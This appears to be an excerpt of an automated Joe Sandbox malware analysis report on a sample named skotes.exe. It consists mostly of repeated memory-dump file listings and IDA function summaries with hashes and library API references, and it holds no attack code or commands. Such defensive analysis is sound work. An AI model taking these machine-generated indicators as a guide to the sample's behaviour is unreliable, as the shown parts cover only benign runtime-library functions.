Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2138103820
Opcode ID: 55de00d8307ae47bf90f2d5816226fa7d654915687209a409fb211558055b357
Instruction ID: 7afd96bba7f452b40c51652f63fb942520a2f68bfa2eedb18ee6df1a1527d6c0
Opcode Fuzzy Hash: 55de00d8307ae47bf90f2d5816226fa7d654915687209a409fb211558055b357
Instruction Fuzzy Hash: 6E218071604209AFEB30BF659D84E6B77EDEF403687106516F928BA391F761EC02C761

Function 00ECAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00ECAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ECAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00ECAF4E

Strings

pExecutionResource, xrefs: 00ECAF07

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 52fd663aba3687f5291ca0b5e66679ec92a14c66d95050acee6c8fd8bc27ae82
Instruction ID: 3e23c0474d4b465a423ec2d5de9e046cd97d2ba633feeaabd3cd6deba8f9ed43
Opcode Fuzzy Hash: 52fd663aba3687f5291ca0b5e66679ec92a14c66d95050acee6c8fd8bc27ae82
Instruction Fuzzy Hash: 082195B5640209ABCB09EF64CC42BEEB7E5BF88314F14502DE5017B392DBB0AE05DB91

Function 00EC4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EC4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00EC4F66

Strings

count, xrefs: 00EC4EBA
ppVirtualProcessorRoots, xrefs: 00EC4F1C

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 2785602d743d4174ab28cfeb05733468651cb0c72ab02469fabb3ecd799a98c8
Instruction ID: eaf70978b3033cb63ba9308a0ade74ceaba2e3c00f2b70e4ed77aa4a8ef4bfb9
Opcode Fuzzy Hash: 2785602d743d4174ab28cfeb05733468651cb0c72ab02469fabb3ecd799a98c8
Instruction Fuzzy Hash: 9D219075600219EFCB14EF68C9A1EAE77F5BF48310F10506DF506AB692DB72AA02CB51

Function 00ECB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ECBA0E

Strings

combase.dll, xrefs: 00ECB983, 00ECB988, 00ECB99D, 00ECB9C8
RoUninitialize, xrefs: 00ECB9C1
RoInitialize, xrefs: 00ECB998

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: f930774bcb9fafe0f7548faaa10c809f6321e86f617af5799059778dc53a0b91
Instruction ID: 4372175b114806c8adecb073b8e0b13a8b442d73a8473e5b7e81dbc4cfdd6173
Opcode Fuzzy Hash: f930774bcb9fafe0f7548faaa10c809f6321e86f617af5799059778dc53a0b91
Instruction Fuzzy Hash: A801266188130DA9EB20B7B15D06F7B31DC5F4270CF11386EA291F6180EB76E8025BA1

Function 00EC6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00EC6E73

Part of subcall function 00EC4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00EC4E7F
Part of subcall function 00EC4E6E: List.LIBCMT ref: 00EC4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EC6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00EC6EAA

Strings

eventObject, xrefs: 00EC6E7D

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
